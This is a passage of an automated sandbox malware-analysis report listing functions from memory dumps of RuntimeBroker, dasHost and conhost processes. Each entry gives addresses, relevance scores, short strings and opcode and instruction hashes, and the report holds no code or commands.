Opcode Fuzzy Hash: f104c97747dfa0be6682d7cafb803721c77a285653e36eaee2bb5089e45fd32e
Instruction Fuzzy Hash: 6DD09590B2E917C5F239464181B02BE72A1AF03700F60843FD29FC9AC1C92CB80AB282

Function 00007FFD347D7D6E Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da97df47a5e6a6cab08d7532fafa10deaa7554bbd3da3d2a7de4db783f42def5
Instruction ID: f38bf66a006c170c1ae9b524b97de2f99a179fa237e523934497d78d299d699a
Opcode Fuzzy Hash: da97df47a5e6a6cab08d7532fafa10deaa7554bbd3da3d2a7de4db783f42def5
Instruction Fuzzy Hash: 97C08C60A0E503CFF229431080B13B93762AF03300F2184BAC64FCA6E6CD6C390AB291

Function 00007FFD343E06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: f82b15cf4566523a7950caa2f1db4320d5d2b73e3e455da6e6d7941920eba9ac
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 29B01201DD744F00A84431BA18D20A670505B46100FC80070E70CC1185986D10D52252

Function 00007FFD347DD51F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f385657c03c4a8835d62902beb2d1b481880570f86c5dfef95860fbeaa1c62
Instruction ID: 895cad2487376738625a525a06445cf599bf6567383a6e5a4099299a27bd3bb4
Opcode Fuzzy Hash: e0f385657c03c4a8835d62902beb2d1b481880570f86c5dfef95860fbeaa1c62
Instruction Fuzzy Hash: 27C04C54F1E243DBE721966448E153826910F07205B5505B1D317CA2D3DCEC784872D1

Function 00007FFD347D726F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc45114f0a97db062a11a6099a2b65d04da59897f16541c1f900598dfd7e4ff4
Instruction ID: 4ca24ba71510d6f50c0ea728fbd2d2d21d0aa53b7245a278bd93e4d89ab0dbbc
Opcode Fuzzy Hash: dc45114f0a97db062a11a6099a2b65d04da59897f16541c1f900598dfd7e4ff4
Instruction Fuzzy Hash: 89C04C80F1E38696A62115A405E10BC36900B172047550575D206C51C7D84D79096291

Function 00007FFD34904AC0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3537780170.00007FFD34900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34900000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0e64bb519b10ae7b66bf6e7cc8a0ce8774ef9b0a7fb8339891258614a5fc60
Instruction ID: 153afb383dbbb6a7b7bb88e580eaae034d3e73b18429a5a0d6998616fd831bf1
Opcode Fuzzy Hash: cf0e64bb519b10ae7b66bf6e7cc8a0ce8774ef9b0a7fb8339891258614a5fc60
Instruction Fuzzy Hash: 44A00208D9780A01981932FA1DE70D474909BCA118FC71561EE18D0286E88E15E91393

Non-executed Functions

Function 00007FFD34902909 Relevance: 6.3, Strings: 5, Instructions: 64COMMON

Download Yara Rule

Strings

R, xrefs: 00007FFD349031BD
$, xrefs: 00007FFD34903289
;, xrefs: 00007FFD34903274
U, xrefs: 00007FFD34902944
., xrefs: 00007FFD34903260

Memory Dump Source

Source File: 00000011.00000002.3537780170.00007FFD34900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34900000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: $$.$;$R$U
API String ID: 0-1005035953
Opcode ID: 47d254148e0f093f5786f582ccf5dc6f24e9ebf3db524418e38fa012f6a1d4b2
Instruction ID: 3473a2bc98db7f1562233505ea111cad128bf43462297e14ee08b69c65880885
Opcode Fuzzy Hash: 47d254148e0f093f5786f582ccf5dc6f24e9ebf3db524418e38fa012f6a1d4b2
Instruction Fuzzy Hash: D711263490D6814FF33547289894B7277A0FF47310F2141FED9AEC71D7D86C284A92A2

Function 00007FFD343E09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD343E0B3E
c9, xrefs: 00007FFD343E0B56
"s9, xrefs: 00007FFD343E0B46
!k9, xrefs: 00007FFD343E0B4E

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 4d06fa6ffed6ec0bea91ab6bef49ed36b5857152e4a9dfd8c7293bbe64f4a6f1
Instruction ID: 78f3e9710b42fb09f176b80e877fb26e293c00c2ed5e9a472b7ac096cb436e99
Opcode Fuzzy Hash: 4d06fa6ffed6ec0bea91ab6bef49ed36b5857152e4a9dfd8c7293bbe64f4a6f1
Instruction Fuzzy Hash: 9651B107B0A57646E32333FD74611EFABA89F8137AB5C4677E24CDB0838C1961C292E5

Function 00007FFD34902F00 Relevance: 5.0, Strings: 4, Instructions: 29COMMON

Download Yara Rule

Strings

&, xrefs: 00007FFD34902F09
2, xrefs: 00007FFD34902BB5
P, xrefs: 00007FFD34902B9A
U, xrefs: 00007FFD34902944

Memory Dump Source

Source File: 00000011.00000002.3537780170.00007FFD34900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34900000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: &$2$P$U
API String ID: 0-3755486490
Opcode ID: 4719397407d34695ec5a2bcf4ae8a57de34c2b2a7a1ab26fe03666176ecba273
Instruction ID: a75d40882574a9e04e0586241e5f138e73fe1bf65b9fb3861de064a310f54149
Opcode Fuzzy Hash: 4719397407d34695ec5a2bcf4ae8a57de34c2b2a7a1ab26fe03666176ecba273
Instruction Fuzzy Hash: 13F0A730B0D5064BF368CB18E491B7A72D6FB49310F20827DCD6EC619AD93C594655D5

Analysis Process: dasHost.exePID: 3404, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343D0D48 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD343D0DF3

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: cff4c4279dfb1d8a15e708b514388b2ff4223e9497cb10a257170f53bbf84f74
Instruction ID: 3e71e96c146801e9aa0acb39da0fc58e64352d6d97d5347098f3eb4baff9e4fb
Opcode Fuzzy Hash: cff4c4279dfb1d8a15e708b514388b2ff4223e9497cb10a257170f53bbf84f74
Instruction Fuzzy Hash: D491F175A19A898FE789EB6C88757E97FE1FB97304F0401BBC149D72D2CA791815C300

Function 00007FFD343D0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ce0eed792e2edf3c53c7d3e77ce806a8993cf8cb8cc5fbc6c709ef848ee8923
Instruction ID: e65f006412e4566d7ea4882a35e926801221bff3802fb64471e7062388c04b61
Opcode Fuzzy Hash: 1ce0eed792e2edf3c53c7d3e77ce806a8993cf8cb8cc5fbc6c709ef848ee8923
Instruction Fuzzy Hash: 1751CF76A18A498BE798EB5C84757E87FE1FB9A714F5001BEC20DD77D1CABA18158300

Function 00007FFD343D08D0 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 212c8c925b9e172055eb89fdfd720c1d883e6128378e0dec7764c182828f588f
Instruction ID: fa457c58b6c12b60b0c4b215dc8ba874b09a31fd8ca57e1c5d3cf62313353546
Opcode Fuzzy Hash: 212c8c925b9e172055eb89fdfd720c1d883e6128378e0dec7764c182828f588f
Instruction Fuzzy Hash: 1A415B12B4E6A61AE315B3BC60B92F96BA4DF86335F1445BBD24CC71D3CE2D688182C4

Function 00007FFD343D0998 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 5c61d63ca75aea4fd92967288635f9759ee31530db8652748f8b57f2f07c308b
Instruction ID: a2a23a997fdf8bccdf7ed9d0e0f202fcb5fc265f17b875b95278ab6efacebc69
Opcode Fuzzy Hash: 5c61d63ca75aea4fd92967288635f9759ee31530db8652748f8b57f2f07c308b
Instruction Fuzzy Hash: 93210420B5D9590FE758F76C54B97B972C6EB8A321F0040BDE60EC32E3DE39AC418280

Function 00007FFD343D0960 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: f050f396ae4da028cbdc51a6a3dbae03963fae5e0048a34aab3323ef58c3d976
Instruction ID: 46fc15ba3399836c0b79511b29640811bd6eb1bddb88e5f3fe0ee023526a871f
Opcode Fuzzy Hash: f050f396ae4da028cbdc51a6a3dbae03963fae5e0048a34aab3323ef58c3d976
Instruction Fuzzy Hash: 14213B11B0DA561AF365B3BC24BA2F922D5DF8A366F1445BBE50DC31D3CD2EAC804284

Function 00007FFD343D1171 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d21c021d5c16c112a72a4f97d0166ed3e5b009787cd6b7a6d2476e23fd3aa3b
Instruction ID: 094a4634cc85e60e465933acea8d8e754e60b05054c9509193d41b131a89f8dc
Opcode Fuzzy Hash: 5d21c021d5c16c112a72a4f97d0166ed3e5b009787cd6b7a6d2476e23fd3aa3b
Instruction Fuzzy Hash: 23319231A0D68A8FDF46EB64C8A59A97BF0FF5B300B0805BBC009D71A3DA3DA845C751

Function 00007FFD343D0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction ID: 24eda12cd9a6022ea02aa2f8bf9272e9b29073fb4f36e0cb2ed3e6b450d99e4f
Opcode Fuzzy Hash: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction Fuzzy Hash: 21210135B0E2898FE712EB2888A51DC7FB0EF83329F1445B7C280DF192D5391A4AA741

Function 00007FFD343D0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction ID: 3f96e98a21404424cbaacd5540ac77989398d89523c784de7e1146948ce8a7b1
Opcode Fuzzy Hash: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction Fuzzy Hash: D111CE35B0E7888FE702EB2898A42DD7FB0EF83319F1544B7C284DF292D5391A499780

Function 00007FFD343D0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction ID: 6541a784fb46a1b52f8c29ef641667630fa5a2dcfa7baf3616abb2f26d24beba
Opcode Fuzzy Hash: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction Fuzzy Hash: 1001AD35A0E7888FE702EB2884A42DD7FB0EF43314F1545EAC180DB292D5395A489B80

Function 00007FFD343D5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction ID: 9baded12b1604edbc2eb12ceec086a47201f661f8c663b4e58f9a3816c87e6f6
Opcode Fuzzy Hash: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction Fuzzy Hash: CE012120E9D91D4AE7A5B61888B57BC61A1EF4B700F5001B5D91DE3292ED3E6D44A740

Function 00007FFD343D5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 7dddf225c71f9e7a0ec9b22fc1032d6338144fc44058bdbccf12c89b7a2c25cf
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 57016D30A9D40E8AEBA8BA04D8A5BF872A5EF16300F5001B9D90ED31A1EE3D29C55A41

Function 00007FFD343D0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction ID: b138bdf6ada42a5344b5108d1015447a0bf97a31047aad3af935477e2d8f3502
Opcode Fuzzy Hash: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction Fuzzy Hash: C5015E35A0E7888FD712EB68C8941DDBFB0AF43314F1545EAC580DB1A2D5395A48D781

Function 00007FFD343D171D Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7489425f6f9b40c95fa2af95c9024d1f7cb9f08cd1ab28ff000139e79b90c301
Instruction ID: f50492136b2987b688fc1931f8646cca3e0f748b328fc24bc65f38785fcd79fc
Opcode Fuzzy Hash: 7489425f6f9b40c95fa2af95c9024d1f7cb9f08cd1ab28ff000139e79b90c301
Instruction Fuzzy Hash: B6F09622F4D5164BFB58F608C8A56EC3396EB92310F054676D50DD72D6DE2DAD0682C1

Function 00007FFD343D0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction ID: 220322e8e1aa441e93854d38f7731614a4ebb86235473affcf0ae8e436dd0677
Opcode Fuzzy Hash: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction Fuzzy Hash: B9018F34A0E3888FE712EB6484941DDBFF0AF03308F1441EAC580DB192D9395A48C741

Function 00007FFD343D0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction ID: 1024ff713126171387a3fc8aeef8a02c854a77d489bb69c09cd9b6fa1afbf811
Opcode Fuzzy Hash: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction Fuzzy Hash: 01E07D3232D94E4FDF02FB3CDC974A83B50EB8B21078700FAD108CB0A2C212684E8B01

Function 00007FFD343D4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: c3574f17ea6472ccfd9d5795fce2fde2abe249d1d78e15150e0c03fe877680af
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: 97E01A70F4911A4BFBA8B248D8E13F96264EF8A304F145078DB6ED33C5DD3DAD409605

Function 00007FFD343D06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3048f9248019bea7b6f186f8c5423cf2b2eab0437b84f9e769dd21ee3450d732
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 16C08C00FCB58B00B400316E18E60ECA120DBC7A28FD00032D30CD20959C3F20C5214A

Function 00007FFD343D12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: f2c7580b359e954caa7700577bdda0318b4c9fe2d3013718838c153da6db0bf5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 3DC04C345558098FC948FB2DC99591477A0FB1A215BD50190E409C7171D66ADCD5D741

Function 00007FFD343D06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: 735aa1df858eb5aeddf2c33aa0c7ee299a1304de0fead9086c4a11b781a4167b
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 26B01200DD748F00A40431BA08D60A47050AB47104FC00070D60CC1089987F10942242

Non-executed Functions

Function 00007FFD343D09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD343D0B4E
"s9, xrefs: 00007FFD343D0B46
#{9, xrefs: 00007FFD343D0B3E
c9, xrefs: 00007FFD343D0B56

Memory Dump Source

Source File: 00000014.00000002.2790010330.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 5c11b98ec9938e19b535ff5304182636e63fc7208d12de738dafda1f959acbdf
Instruction ID: ea701b244c41a3dadb844275df2aec8f17d56ebb99556ec92d02f40348e8dd15
Opcode Fuzzy Hash: 5c11b98ec9938e19b535ff5304182636e63fc7208d12de738dafda1f959acbdf
Instruction Fuzzy Hash: 0151A007B0E56345E32233FD70611EE6BA8DF8233AB584677E24CDB0834D1A65C682E5

Analysis Process: conhost.exePID: 1488, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD34400D48 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD34400DF3

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: a3efa823efbc9a057847c4db072a6a6b902357297976feb54aea894e1653d8b0
Instruction ID: 09a17595a79065cd43fac15dd23d07b01da61abb49745d76414847f0479c9b03
Opcode Fuzzy Hash: a3efa823efbc9a057847c4db072a6a6b902357297976feb54aea894e1653d8b0
Instruction Fuzzy Hash: 7291C1B1A18B898FEB59DF68C8657A9BFE1FB96310F4000BBD049D72D6CEB918118341

Function 00007FFD34400E43 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a376d85f69bb68648fe516df68629606cc1cf7434626f029ecb19ea4befbfca
Instruction ID: 52185b9df3efd21631ce3367bed27464cb3b7d614aaaf8e418ea0691ca7bc417
Opcode Fuzzy Hash: 0a376d85f69bb68648fe516df68629606cc1cf7434626f029ecb19ea4befbfca
Instruction Fuzzy Hash: B451B1B2A18B498BEB98DF5CD8657A9BFD1FB9A310F50017ED009D77D9CABA14118340

Function 00007FFD344008D0 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

(7K4, xrefs: 00007FFD3440B0D5

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID: (7K4
API String ID: 0-1474283939
Opcode ID: 8a9eedec7a602cf305067df3cb07c525186b64e78882342f36d1dd5cabcf6f2f
Instruction ID: 8cf766954462ac2c846c0ff6d82fb0d9b4c46f2da932df846112a004383fb9f8
Opcode Fuzzy Hash: 8a9eedec7a602cf305067df3cb07c525186b64e78882342f36d1dd5cabcf6f2f
Instruction Fuzzy Hash: 42418A22B0D6950EE716B7BCB4B66F9BB90DF46325F1804BFD14DC71E7CD1968828284

Function 00007FFD34400960 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

(7K4, xrefs: 00007FFD3440B0D5

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID: (7K4
API String ID: 0-1474283939
Opcode ID: dded786d027cee81d38711fd8ffc1e278d610b4617c092c819dae53b734b1576
Instruction ID: 97b72882ae64205046d4ed290a9425a0aed1ef212dc54159ec48a76b1415bfda
Opcode Fuzzy Hash: dded786d027cee81d38711fd8ffc1e278d610b4617c092c819dae53b734b1576
Instruction Fuzzy Hash: DD315721B1D9591FE725B3ACA4AA6F5B3C5DF4A325F1540BAE40EC31D7CC1DAC818284

Function 00007FFD34400998 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

(7K4, xrefs: 00007FFD3440B0D5

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID: (7K4
API String ID: 0-1474283939
Opcode ID: 06069cfc033b2e4813eb2becc0a1b3fc963aefeb664c70edefe36824753d8973
Instruction ID: 6aee1e1915ce280858b0398e0b1981198259994f4a26a4584959660fb687cf16
Opcode Fuzzy Hash: 06069cfc033b2e4813eb2becc0a1b3fc963aefeb664c70edefe36824753d8973
Instruction Fuzzy Hash: 0B213720B189990FEB58E76C98AAA75B7C2EF9A314F0500BDE54EC32D7DC58AC418340

Function 00007FFD34400C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2864525714.00007FFD34400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd34400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563816ecba3afff70dae901d8a51f440606eca0c607462ccb871d4686ab75682
